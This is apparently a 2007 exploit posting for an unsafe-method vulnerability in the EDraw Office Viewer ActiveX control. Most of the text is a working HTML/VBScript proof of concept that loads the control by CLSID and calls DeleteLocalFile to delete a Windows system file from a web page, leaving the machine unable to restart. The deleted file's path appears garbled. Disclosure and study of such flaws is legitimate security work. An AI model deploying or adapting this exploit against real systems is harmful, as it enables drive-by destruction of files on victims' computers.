edraw-unsafe.txt
Posted on 31 May 2007
<pre> <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/28</b></p></span> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">----------------------------------------------------------------------------------------------- <b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability</b> url: http://www.ocxt.com/officeviewer.php author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not be responsible for any damage. <b><font color="#FF0000">THE EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b> Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 all software that use this ocx are vulnerable to this exploits. This ActiveX is marked as: RegKey Safe for Script: True RegKey Safe for Init: True KillBitSet: False ----------------------------------------------------------------------------------------------- <object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language='vbscript'> Sub tryMe On Error Resume Next Dim MyMsg If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _ "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _ "THIS EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _ " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _ " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then test.DeleteLocalFile "c:windowssystem_.ini" MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's deleted.", 64,"2007/05/21 - EDraw Office Viewer Component") Else MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/28 - EDraw Office Viewer Component") End If End Sub </script> </span></span> </code></pre>
